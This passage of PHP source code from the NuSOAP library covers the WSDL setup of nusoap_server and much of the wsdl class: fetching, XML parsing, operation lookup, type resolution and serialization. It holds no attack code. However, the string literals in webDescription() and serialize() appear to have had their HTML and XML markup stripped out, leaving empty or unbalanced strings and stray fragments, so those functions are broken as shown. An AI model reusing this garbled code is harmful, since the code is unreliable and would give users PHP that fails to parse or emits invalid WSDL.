HTTP_SERVER_VARS is available"); } // If server name has port number attached then strip it (else port number gets duplicated in WSDL output) (occurred using lighttpd and FastCGI) $colon = strpos($SERVER_NAME,":"); if ($colon) { $SERVER_NAME = substr($SERVER_NAME, 0, $colon); } if ($SERVER_PORT == 80) { $SERVER_PORT = ''; } else { $SERVER_PORT = ':' . $SERVER_PORT; } if(false == $namespace) { $namespace = "http://$SERVER_NAME/soap/$serviceName"; } if(false == $endpoint) { if ($HTTPS == '1' || $HTTPS == 'on') { $SCHEME = 'https'; } else { $SCHEME = 'http'; } $endpoint = "$SCHEME://$SERVER_NAME$SERVER_PORT$SCRIPT_NAME"; } if(false == $schemaTargetNamespace) { $schemaTargetNamespace = $namespace; } $this->wsdl = new wsdl; $this->wsdl->serviceName = $serviceName; $this->wsdl->endpoint = $endpoint; $this->wsdl->namespaces['tns'] = $namespace; $this->wsdl->namespaces['soap'] = 'http://schemas.xmlsoap.org/wsdl/soap/'; $this->wsdl->namespaces['wsdl'] = 'http://schemas.xmlsoap.org/wsdl/'; if ($schemaTargetNamespace != $namespace) { $this->wsdl->namespaces['types'] = $schemaTargetNamespace; } $this->wsdl->schemas[$schemaTargetNamespace][0] = new nusoap_xmlschema('', '', $this->wsdl->namespaces); if ($style == 'document') { $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaInfo['elementFormDefault'] = 'qualified'; } $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaTargetNamespace = $schemaTargetNamespace; $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/soap/encoding/'][0] = array('location' => '', 'loaded' => true); $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/wsdl/'][0] = array('location' => '', 'loaded' => true); $this->wsdl->bindings[$serviceName.'Binding'] = array( 'name'=>$serviceName.'Binding', 'style'=>$style, 'transport'=>$transport, 'portType'=>$serviceName.'PortType'); $this->wsdl->ports[$serviceName.'Port'] = array( 'binding'=>$serviceName.'Binding', 'location'=>$endpoint, 'bindingType'=>'http://schemas.xmlsoap.org/wsdl/soap/'); } } /** * Backward compatibility */ class soap_server extends nusoap_server { } ?> * @author Scott Nichol * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class wsdl extends nusoap_base { // URL or filename of the root of this WSDL var $wsdl; // define internal arrays of bindings, ports, operations, messages, etc. var $schemas = array(); var $currentSchema; var $message = array(); var $complexTypes = array(); var $messages = array(); var $currentMessage; var $currentOperation; var $portTypes = array(); var $currentPortType; var $bindings = array(); var $currentBinding; var $ports = array(); var $currentPort; var $opData = array(); var $status = ''; var $documentation = false; var $endpoint = ''; // array of wsdl docs to import var $import = array(); // parser vars var $parser; var $position = 0; var $depth = 0; var $depth_array = array(); // for getting wsdl var $proxyhost = ''; var $proxyport = ''; var $proxyusername = ''; var $proxypassword = ''; var $timeout = 0; var $response_timeout = 30; var $curl_options = array(); // User-specified cURL options var $use_curl = false; // whether to always try to use cURL // for HTTP authentication var $username = ''; // Username for HTTP authentication var $password = ''; // Password for HTTP authentication var $authtype = ''; // Type of HTTP authentication var $certRequest = array(); // Certificate for HTTP SSL authentication /** * constructor * * @param string $wsdl WSDL document URL * @param string $proxyhost * @param string $proxyport * @param string $proxyusername * @param string $proxypassword * @param integer $timeout set the connection timeout * @param integer $response_timeout set the response timeout * @param array $curl_options user-specified cURL options * @param boolean $use_curl try to use cURL * @access public */ function wsdl($wsdl = '',$proxyhost=false,$proxyport=false,$proxyusername=false,$proxypassword=false,$timeout=0,$response_timeout=30,$curl_options=null,$use_curl=false){ parent::nusoap_base(); $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); $this->proxyhost = $proxyhost; $this->proxyport = $proxyport; $this->proxyusername = $proxyusername; $this->proxypassword = $proxypassword; $this->timeout = $timeout; $this->response_timeout = $response_timeout; if (is_array($curl_options)) $this->curl_options = $curl_options; $this->use_curl = $use_curl; $this->fetchWSDL($wsdl); } /** * fetches the WSDL document and parses it * * @access public */ function fetchWSDL($wsdl) { $this->debug("parse and process WSDL path=$wsdl"); $this->wsdl = $wsdl; // parse wsdl file if ($this->wsdl != "") { $this->parseWSDL($this->wsdl); } // imports // TODO: handle imports more properly, grabbing them in-line and nesting them $imported_urls = array(); $imported = 1; while ($imported > 0) { $imported = 0; // Schema imports foreach ($this->schemas as $ns => $list) { foreach ($list as $xs) { $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! foreach ($xs->imports as $ns2 => $list2) { for ($ii = 0; $ii < count($list2); $ii++) { if (! $list2[$ii]['loaded']) { $this->schemas[$ns]->imports[$ns2][$ii]['loaded'] = true; $url = $list2[$ii]['location']; if ($url != '') { $urlparts = parse_url($url); if (!isset($urlparts['host'])) { $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' .$wsdlparts['port'] : '') . substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; } if (! in_array($url, $imported_urls)) { $this->parseWSDL($url); $imported++; $imported_urls[] = $url; } } else { $this->debug("Unexpected scenario: empty URL for unloaded import"); } } } } } } // WSDL imports $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! foreach ($this->import as $ns => $list) { for ($ii = 0; $ii < count($list); $ii++) { if (! $list[$ii]['loaded']) { $this->import[$ns][$ii]['loaded'] = true; $url = $list[$ii]['location']; if ($url != '') { $urlparts = parse_url($url); if (!isset($urlparts['host'])) { $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' . $wsdlparts['port'] : '') . substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; } if (! in_array($url, $imported_urls)) { $this->parseWSDL($url); $imported++; $imported_urls[] = $url; } } else { $this->debug("Unexpected scenario: empty URL for unloaded import"); } } } } } // add new data to operation data foreach($this->bindings as $binding => $bindingData) { if (isset($bindingData['operations']) && is_array($bindingData['operations'])) { foreach($bindingData['operations'] as $operation => $data) { $this->debug('post-parse data gathering for ' . $operation); $this->bindings[$binding]['operations'][$operation]['input'] = isset($this->bindings[$binding]['operations'][$operation]['input']) ? array_merge($this->bindings[$binding]['operations'][$operation]['input'], $this->portTypes[ $bindingData['portType'] ][$operation]['input']) : $this->portTypes[ $bindingData['portType'] ][$operation]['input']; $this->bindings[$binding]['operations'][$operation]['output'] = isset($this->bindings[$binding]['operations'][$operation]['output']) ? array_merge($this->bindings[$binding]['operations'][$operation]['output'], $this->portTypes[ $bindingData['portType'] ][$operation]['output']) : $this->portTypes[ $bindingData['portType'] ][$operation]['output']; if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ])){ $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ]; } if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ])){ $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ]; } // Set operation style if necessary, but do not override one already provided if (isset($bindingData['style']) && !isset($this->bindings[$binding]['operations'][$operation]['style'])) { $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style']; } $this->bindings[$binding]['operations'][$operation]['transport'] = isset($bindingData['transport']) ? $bindingData['transport'] : ''; $this->bindings[$binding]['operations'][$operation]['documentation'] = isset($this->portTypes[ $bindingData['portType'] ][$operation]['documentation']) ? $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'] : ''; $this->bindings[$binding]['operations'][$operation]['endpoint'] = isset($bindingData['endpoint']) ? $bindingData['endpoint'] : ''; } } } } /** * parses the wsdl document * * @param string $wsdl path or URL * @access private */ function parseWSDL($wsdl = '') { $this->debug("parse WSDL at path=$wsdl"); if ($wsdl == '') { $this->debug('no wsdl passed to parseWSDL()!!'); $this->setError('no wsdl passed to parseWSDL()!!'); return false; } // parse $wsdl for url format $wsdl_props = parse_url($wsdl); if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'http' || $wsdl_props['scheme'] == 'https')) { $this->debug('getting WSDL http(s) URL ' . $wsdl); // get wsdl $tr = new soap_transport_http($wsdl, $this->curl_options, $this->use_curl); $tr->request_method = 'GET'; $tr->useSOAPAction = false; if($this->proxyhost && $this->proxyport){ $tr->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); } if ($this->authtype != '') { $tr->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); } $tr->setEncoding('gzip, deflate'); $wsdl_string = $tr->send('', $this->timeout, $this->response_timeout); //$this->debug("WSDL request\n" . $tr->outgoing_payload); //$this->debug("WSDL response\n" . $tr->incoming_payload); $this->appendDebug($tr->getDebug()); // catch errors if($err = $tr->getError() ){ $errstr = 'Getting ' . $wsdl . ' - HTTP ERROR: '.$err; $this->debug($errstr); $this->setError($errstr); unset($tr); return false; } unset($tr); $this->debug("got WSDL URL"); } else { // $wsdl is not http(s), so treat it as a file URL or plain file path if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'file') && isset($wsdl_props['path'])) { $path = isset($wsdl_props['host']) ? ($wsdl_props['host'] . ':' . $wsdl_props['path']) : $wsdl_props['path']; } else { $path = $wsdl; } $this->debug('getting WSDL file ' . $path); if ($fp = @fopen($path, 'r')) { $wsdl_string = ''; while ($data = fread($fp, 32768)) { $wsdl_string .= $data; } fclose($fp); } else { $errstr = "Bad path to WSDL file $path"; $this->debug($errstr); $this->setError($errstr); return false; } } $this->debug('Parse WSDL'); // end new code added // Create an XML parser. $this->parser = xml_parser_create(); // Set the options for parsing the XML data. // xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); // Set the object for the parser. xml_set_object($this->parser, $this); // Set the element handlers for the parser. xml_set_element_handler($this->parser, 'start_element', 'end_element'); xml_set_character_data_handler($this->parser, 'character_data'); // Parse the XML file. if (!xml_parse($this->parser, $wsdl_string, true)) { // Display an error message. $errstr = sprintf( 'XML error parsing WSDL from %s on line %d: %s', $wsdl, xml_get_current_line_number($this->parser), xml_error_string(xml_get_error_code($this->parser)) ); $this->debug($errstr); $this->debug("XML payload:\n" . $wsdl_string); $this->setError($errstr); return false; } // free the parser xml_parser_free($this->parser); $this->debug('Parsing WSDL done'); // catch wsdl parse errors if($this->getError()){ return false; } return true; } /** * start-element handler * * @param string $parser XML parser object * @param string $name element name * @param string $attrs associative array of attributes * @access private */ function start_element($parser, $name, $attrs) { if ($this->status == 'schema') { $this->currentSchema->schemaStartElement($parser, $name, $attrs); $this->appendDebug($this->currentSchema->getDebug()); $this->currentSchema->clearDebug(); } elseif (preg_match('/schema$/', $name)) { $this->debug('Parsing WSDL schema'); // $this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")"); $this->status = 'schema'; $this->currentSchema = new nusoap_xmlschema('', '', $this->namespaces); $this->currentSchema->schemaStartElement($parser, $name, $attrs); $this->appendDebug($this->currentSchema->getDebug()); $this->currentSchema->clearDebug(); } else { // position in the total number of elements, starting from 0 $pos = $this->position++; $depth = $this->depth++; // set self as current value for this depth $this->depth_array[$depth] = $pos; $this->message[$pos] = array('cdata' => ''); // process attributes if (count($attrs) > 0) { // register namespace declarations foreach($attrs as $k => $v) { if (preg_match('/^xmlns/',$k)) { if ($ns_prefix = substr(strrchr($k, ':'), 1)) { $this->namespaces[$ns_prefix] = $v; } else { $this->namespaces['ns' . (count($this->namespaces) + 1)] = $v; } if ($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema') { $this->XMLSchemaVersion = $v; $this->namespaces['xsi'] = $v . '-instance'; } } } // expand each attribute prefix to its namespace foreach($attrs as $k => $v) { $k = strpos($k, ':') ? $this->expandQname($k) : $k; if ($k != 'location' && $k != 'soapAction' && $k != 'namespace') { $v = strpos($v, ':') ? $this->expandQname($v) : $v; } $eAttrs[$k] = $v; } $attrs = $eAttrs; } else { $attrs = array(); } // get element prefix, namespace and name if (preg_match('/:/', $name)) { // get ns prefix $prefix = substr($name, 0, strpos($name, ':')); // get ns $namespace = isset($this->namespaces[$prefix]) ? $this->namespaces[$prefix] : ''; // get unqualified name $name = substr(strstr($name, ':'), 1); } // process attributes, expanding any prefixes to namespaces // find status, register data switch ($this->status) { case 'message': if ($name == 'part') { if (isset($attrs['type'])) { $this->debug("msg " . $this->currentMessage . ": found part (with type) $attrs[name]: " . implode(',', $attrs)); $this->messages[$this->currentMessage][$attrs['name']] = $attrs['type']; } if (isset($attrs['element'])) { $this->debug("msg " . $this->currentMessage . ": found part (with element) $attrs[name]: " . implode(',', $attrs)); $this->messages[$this->currentMessage][$attrs['name']] = $attrs['element'] . '^'; } } break; case 'portType': switch ($name) { case 'operation': $this->currentPortOperation = $attrs['name']; $this->debug("portType $this->currentPortType operation: $this->currentPortOperation"); if (isset($attrs['parameterOrder'])) { $this->portTypes[$this->currentPortType][$attrs['name']]['parameterOrder'] = $attrs['parameterOrder']; } break; case 'documentation': $this->documentation = true; break; // merge input/output data default: $m = isset($attrs['message']) ? $this->getLocalPart($attrs['message']) : ''; $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $m; break; } break; case 'binding': switch ($name) { case 'binding': // get ns prefix if (isset($attrs['style'])) { $this->bindings[$this->currentBinding]['prefix'] = $prefix; } $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding], $attrs); break; case 'header': $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs; break; case 'operation': if (isset($attrs['soapAction'])) { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction']; } if (isset($attrs['style'])) { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style']; } if (isset($attrs['name'])) { $this->currentOperation = $attrs['name']; $this->debug("current binding operation: $this->currentOperation"); $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name']; $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding; $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = isset($this->bindings[$this->currentBinding]['endpoint']) ? $this->bindings[$this->currentBinding]['endpoint'] : ''; } break; case 'input': $this->opStatus = 'input'; break; case 'output': $this->opStatus = 'output'; break; case 'body': if (isset($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus])) { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus], $attrs); } else { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = $attrs; } break; } break; case 'service': switch ($name) { case 'port': $this->currentPort = $attrs['name']; $this->debug('current port: ' . $this->currentPort); $this->ports[$this->currentPort]['binding'] = $this->getLocalPart($attrs['binding']); break; case 'address': $this->ports[$this->currentPort]['location'] = $attrs['location']; $this->ports[$this->currentPort]['bindingType'] = $namespace; $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $namespace; $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location']; break; } break; } // set status switch ($name) { case 'import': if (isset($attrs['location'])) { $this->import[$attrs['namespace']][] = array('location' => $attrs['location'], 'loaded' => false); $this->debug('parsing import ' . $attrs['namespace']. ' - ' . $attrs['location'] . ' (' . count($this->import[$attrs['namespace']]).')'); } else { $this->import[$attrs['namespace']][] = array('location' => '', 'loaded' => true); if (! $this->getPrefixFromNamespace($attrs['namespace'])) { $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; } $this->debug('parsing import ' . $attrs['namespace']. ' - [no location] (' . count($this->import[$attrs['namespace']]).')'); } break; //wait for schema //case 'types': // $this->status = 'schema'; // break; case 'message': $this->status = 'message'; $this->messages[$attrs['name']] = array(); $this->currentMessage = $attrs['name']; break; case 'portType': $this->status = 'portType'; $this->portTypes[$attrs['name']] = array(); $this->currentPortType = $attrs['name']; break; case "binding": if (isset($attrs['name'])) { // get binding name if (strpos($attrs['name'], ':')) { $this->currentBinding = $this->getLocalPart($attrs['name']); } else { $this->currentBinding = $attrs['name']; } $this->status = 'binding'; $this->bindings[$this->currentBinding]['portType'] = $this->getLocalPart($attrs['type']); $this->debug("current binding: $this->currentBinding of portType: " . $attrs['type']); } break; case 'service': $this->serviceName = $attrs['name']; $this->status = 'service'; $this->debug('current service: ' . $this->serviceName); break; case 'definitions': foreach ($attrs as $name => $value) { $this->wsdl_info[$name] = $value; } break; } } } /** * end-element handler * * @param string $parser XML parser object * @param string $name element name * @access private */ function end_element($parser, $name){ // unset schema status if (/*preg_match('/types$/', $name) ||*/ preg_match('/schema$/', $name)) { $this->status = ""; $this->appendDebug($this->currentSchema->getDebug()); $this->currentSchema->clearDebug(); $this->schemas[$this->currentSchema->schemaTargetNamespace][] = $this->currentSchema; $this->debug('Parsing WSDL schema done'); } if ($this->status == 'schema') { $this->currentSchema->schemaEndElement($parser, $name); } else { // bring depth down a notch $this->depth--; } // end documentation if ($this->documentation) { //TODO: track the node to which documentation should be assigned; it can be a part, message, etc. //$this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation; $this->documentation = false; } } /** * element content handler * * @param string $parser XML parser object * @param string $data element content * @access private */ function character_data($parser, $data) { $pos = isset($this->depth_array[$this->depth]) ? $this->depth_array[$this->depth] : 0; if (isset($this->message[$pos]['cdata'])) { $this->message[$pos]['cdata'] .= $data; } if ($this->documentation) { $this->documentation .= $data; } } /** * if authenticating, set user credentials here * * @param string $username * @param string $password * @param string $authtype (basic|digest|certificate|ntlm) * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) * @access public */ function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { $this->debug("setCredentials username=$username authtype=$authtype certRequest="); $this->appendDebug($this->varDump($certRequest)); $this->username = $username; $this->password = $password; $this->authtype = $authtype; $this->certRequest = $certRequest; } function getBindingData($binding) { if (is_array($this->bindings[$binding])) { return $this->bindings[$binding]; } } /** * returns an assoc array of operation names => operation data * * @param string $portName WSDL port name * @param string $bindingType eg: soap, smtp, dime (only soap and soap12 are currently supported) * @return array * @access public */ function getOperations($portName = '', $bindingType = 'soap') { $ops = array(); if ($bindingType == 'soap') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; } elseif ($bindingType == 'soap12') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; } else { $this->debug("getOperations bindingType $bindingType may not be supported"); } $this->debug("getOperations for port '$portName' bindingType $bindingType"); // loop thru ports foreach($this->ports as $port => $portData) { $this->debug("getOperations checking port $port bindingType " . $portData['bindingType']); if ($portName == '' || $port == $portName) { // binding type of port matches parameter if ($portData['bindingType'] == $bindingType) { $this->debug("getOperations found port $port bindingType $bindingType"); //$this->debug("port data: " . $this->varDump($portData)); //$this->debug("bindings: " . $this->varDump($this->bindings[ $portData['binding'] ])); // merge bindings if (isset($this->bindings[ $portData['binding'] ]['operations'])) { $ops = array_merge ($ops, $this->bindings[ $portData['binding'] ]['operations']); } } } } if (count($ops) == 0) { $this->debug("getOperations found no operations for port '$portName' bindingType $bindingType"); } return $ops; } /** * returns an associative array of data necessary for calling an operation * * @param string $operation name of operation * @param string $bindingType type of binding eg: soap, soap12 * @return array * @access public */ function getOperationData($operation, $bindingType = 'soap') { if ($bindingType == 'soap') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; } elseif ($bindingType == 'soap12') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; } // loop thru ports foreach($this->ports as $port => $portData) { // binding type of port matches parameter if ($portData['bindingType'] == $bindingType) { // get binding //foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { foreach(array_keys($this->bindings[ $portData['binding'] ]['operations']) as $bOperation) { // note that we could/should also check the namespace here if ($operation == $bOperation) { $opData = $this->bindings[ $portData['binding'] ]['operations'][$operation]; return $opData; } } } } } /** * returns an associative array of data necessary for calling an operation * * @param string $soapAction soapAction for operation * @param string $bindingType type of binding eg: soap, soap12 * @return array * @access public */ function getOperationDataForSoapAction($soapAction, $bindingType = 'soap') { if ($bindingType == 'soap') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; } elseif ($bindingType == 'soap12') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; } // loop thru ports foreach($this->ports as $port => $portData) { // binding type of port matches parameter if ($portData['bindingType'] == $bindingType) { // loop through operations for the binding foreach ($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { if ($opData['soapAction'] == $soapAction) { return $opData; } } } } } /** * returns an array of information about a given type * returns false if no type exists by the given name * * typeDef = array( * 'elements' => array(), // refs to elements array * 'restrictionBase' => '', * 'phpType' => '', * 'order' => '(sequence|all)', * 'attrs' => array() // refs to attributes array * ) * * @param string $type the type * @param string $ns namespace (not prefix) of the type * @return mixed * @access public * @see nusoap_xmlschema */ function getTypeDef($type, $ns) { $this->debug("in getTypeDef: type=$type, ns=$ns"); if ((! $ns) && isset($this->namespaces['tns'])) { $ns = $this->namespaces['tns']; $this->debug("in getTypeDef: type namespace forced to $ns"); } if (!isset($this->schemas[$ns])) { foreach ($this->schemas as $ns0 => $schema0) { if (strcasecmp($ns, $ns0) == 0) { $this->debug("in getTypeDef: replacing schema namespace $ns with $ns0"); $ns = $ns0; break; } } } if (isset($this->schemas[$ns])) { $this->debug("in getTypeDef: have schema for namespace $ns"); for ($i = 0; $i < count($this->schemas[$ns]); $i++) { $xs = &$this->schemas[$ns][$i]; $t = $xs->getTypeDef($type); $this->appendDebug($xs->getDebug()); $xs->clearDebug(); if ($t) { $this->debug("in getTypeDef: found type $type"); if (!isset($t['phpType'])) { // get info for type to tack onto the element $uqType = substr($t['type'], strrpos($t['type'], ':') + 1); $ns = substr($t['type'], 0, strrpos($t['type'], ':')); $etype = $this->getTypeDef($uqType, $ns); if ($etype) { $this->debug("found type for [element] $type:"); $this->debug($this->varDump($etype)); if (isset($etype['phpType'])) { $t['phpType'] = $etype['phpType']; } if (isset($etype['elements'])) { $t['elements'] = $etype['elements']; } if (isset($etype['attrs'])) { $t['attrs'] = $etype['attrs']; } } else { $this->debug("did not find type for [element] $type"); } } return $t; } } $this->debug("in getTypeDef: did not find type $type"); } else { $this->debug("in getTypeDef: do not have schema for namespace $ns"); } return false; } /** * prints html description of services * * @access private */ function webDescription(){ global $HTTP_SERVER_VARS; if (isset($_SERVER)) { $PHP_SELF = $_SERVER['PHP_SELF']; } elseif (isset($HTTP_SERVER_VARS)) { $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; } else { $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); } $b = ' NuSOAP: '.$this->serviceName.'


    '.$this->serviceName.'
    '; return $b; } /** * serialize the parsed wsdl * * @param mixed $debug whether to put debug=1 in endpoint URL * @return string serialization of WSDL * @access public */ function serialize($debug = 0) { $xml = ''; $xml .= "\nnamespaces as $k => $v) { $xml .= " xmlns:$k=\"$v\""; } // 10.9.02 - add poulter fix for wsdl and tns declarations if (isset($this->namespaces['wsdl'])) { $xml .= " xmlns=\"" . $this->namespaces['wsdl'] . "\""; } if (isset($this->namespaces['tns'])) { $xml .= " targetNamespace=\"" . $this->namespaces['tns'] . "\""; } $xml .= '>'; // imports if (sizeof($this->import) > 0) { foreach($this->import as $ns => $list) { foreach ($list as $ii) { if ($ii['location'] != '') { $xml .= ''; } else { $xml .= ''; } } } } // types if (count($this->schemas)>=1) { $xml .= "\n\n"; foreach ($this->schemas as $ns => $list) { foreach ($list as $xs) { $xml .= $xs->serializeSchema(); } } $xml .= ''; } // messages if (count($this->messages) >= 1) { foreach($this->messages as $msgName => $msgParts) { $xml .= "\n'; if(is_array($msgParts)){ foreach($msgParts as $partName => $partType) { // print 'serializing '.$partType.', sv: '.$this->XMLSchemaVersion.'
    '; if (strpos($partType, ':')) { $typePrefix = $this->getPrefixFromNamespace($this->getPrefix($partType)); } elseif (isset($this->typemap[$this->namespaces['xsd']][$partType])) { // print 'checking typemap: '.$this->XMLSchemaVersion.'
    '; $typePrefix = 'xsd'; } else { foreach($this->typemap as $ns => $types) { if (isset($types[$partType])) { $typePrefix = $this->getPrefixFromNamespace($ns); } } if (!isset($typePrefix)) { die("$partType has no namespace!"); } } $ns = $this->getNamespaceFromPrefix($typePrefix); $localPart = $this->getLocalPart($partType); $typeDef = $this->getTypeDef($localPart, $ns); if ($typeDef['typeClass'] == 'element') { $elementortype = 'element'; if (substr($localPart, -1) == '^') { $localPart = substr($localPart, 0, -1); } } else { $elementortype = 'type'; } $xml .= "\n" . ' '; } } $xml .= '
    '; } } // bindings & porttypes if (count($this->bindings) >= 1) { $binding_xml = ''; $portType_xml = ''; foreach($this->bindings as $bindingName => $attrs) { $binding_xml .= "\n'; $binding_xml .= "\n" . ' '; $portType_xml .= "\n'; foreach($attrs['operations'] as $opName => $opParts) { $binding_xml .= "\n" . ' '; $binding_xml .= "\n" . ' '; if (isset($opParts['input']['encodingStyle']) && $opParts['input']['encodingStyle'] != '') { $enc_style = ' encodingStyle="' . $opParts['input']['encodingStyle'] . '"'; } else { $enc_style = ''; } $binding_xml .= "\n" . ' '; if (isset($opParts['output']['encodingStyle']) && $opParts['output']['encodingStyle'] != '') { $enc_style = ' encodingStyle="' . $opParts['output']['encodingStyle'] . '"'; } else { $enc_style = ''; } $binding_xml .= "\n" . ' '; $binding_xml .= "\n" . ' '; $portType_xml .= "\n" . ' ' . htmlspecialchars($opParts['documentation']) . ''; } $portType_xml .= "\n" . ' '; $portType_xml .= "\n" . ' '; $portType_xml .= "\n" . ' '; } $portType_xml .= "\n" . ''; $binding_xml .= "\n" . ''; } $xml .= $portType_xml . $binding_xml; } // services $xml .= "\nserviceName . '">'; if (count($this->ports) >= 1) { foreach($this->ports as $pName => $attrs) { $xml .= "\n" . ' '; $xml .= "\n" . ' '; $xml .= "\n" . ' '; } } $xml .= "\n" . ''; return $xml . "\n"; } /** * determine whether a set of parameters are unwrapped * when they are expect to be wrapped, Microsoft-style. * * @param string $type the type (element name) of the wrapper * @param array $parameters the parameter values for the SOAP call * @return boolean whether they parameters are unwrapped (and should be wrapped) * @access private */ function parametersMatchWrapped($type, &$parameters) { $this->debug("in parametersMatchWrapped type=$type, parameters="); $this->appendDebug($this->varDump($parameters)); // split type into namespace:unqualified-type if (strpos($type, ':')) { $uqType = substr($type, strrpos($type, ':') + 1); $ns = substr($type, 0, strrpos($type, ':')); $this->debug("in parametersMatchWrapped: got a prefixed type: $uqType, $ns"); if ($this->getNamespaceFromPrefix($ns)) { $ns = $this->getNamespaceFromPrefix($ns); $this->debug("in parametersMatchWrapped: expanded prefixed type: $uqType, $ns"); } } else { // TODO: should the type be compared to types in XSD, and the namespace // set to XSD if the type matches? $this->debug("in parametersMatchWrapped: No namespace for type $type"); $ns = ''; $uqType = $type; } // get the type information if (!$typeDef = $this->getTypeDef($uqType, $ns)) { $this->debug("in parametersMatchWrapped: $type ($uqType) is not a supported type."); return false; } $this->debug("in parametersMatchWrapped: found typeDef="); $this->appendDebug($this->varDump($typeDef)); if (substr($uqType, -1) == '^') { $uqType = substr($uqType, 0, -1); } $phpType = $typeDef['phpType']; $arrayType = (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : ''); $this->debug("in parametersMatchWrapped: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: $arrayType"); // we expect a complexType or element of complexType if ($phpType != 'struct') { $this->debug("in parametersMatchWrapped: not a struct"); return false; } // see whether the parameter names match the elements if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { $elements = 0; $matches = 0; foreach ($typeDef['elements'] as $name => $attrs) { if (isset($parameters[$name])) { $this->debug("in parametersMatchWrapped: have parameter named $name"); $matches++; } else { $this->debug("in parametersMatchWrapped: do not have parameter named $name"); } $elements++; } $this->debug("in parametersMatchWrapped: $matches parameter names match $elements wrapped parameter names"); if ($matches == 0) { return false; } return true; } // since there are no elements for the type, if the user passed no // parameters, the parameters match wrapped. $this->debug("in parametersMatchWrapped: no elements type $ns:$uqType"); return count($parameters) == 0; } /** * serialize PHP values according to a WSDL message definition * contrary to the method name, this is not limited to RPC * * TODO * - multi-ref serialization * - validate PHP values against type definitions, return errors if invalid * * @param string $operation operation name * @param string $direction (input|output) * @param mixed $parameters parameter value(s) * @param string $bindingType (soap|soap12) * @return mixed parameters serialized as XML or false on error (e.g. operation not found) * @access public */ function serializeRPCParameters($operation, $direction, $parameters, $bindingType = 'soap') { $this->debug("in serializeRPCParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion, bindingType=$bindingType"); $this->appendDebug('parameters=' . $this->varDump($parameters)); if ($direction != 'input' && $direction != 'output') { $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); return false; } if (!$opData = $this->getOperationData($operation, $bindingType)) { $this->debug('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); $this->setError('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); return false; } $this->debug('in serializeRPCParameters: opData:'); $this->appendDebug($this->varDump($opData)); // Get encoding style for output and set to current $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; if(($direction == 'input') && isset($opData['output']['encodingStyle']) && 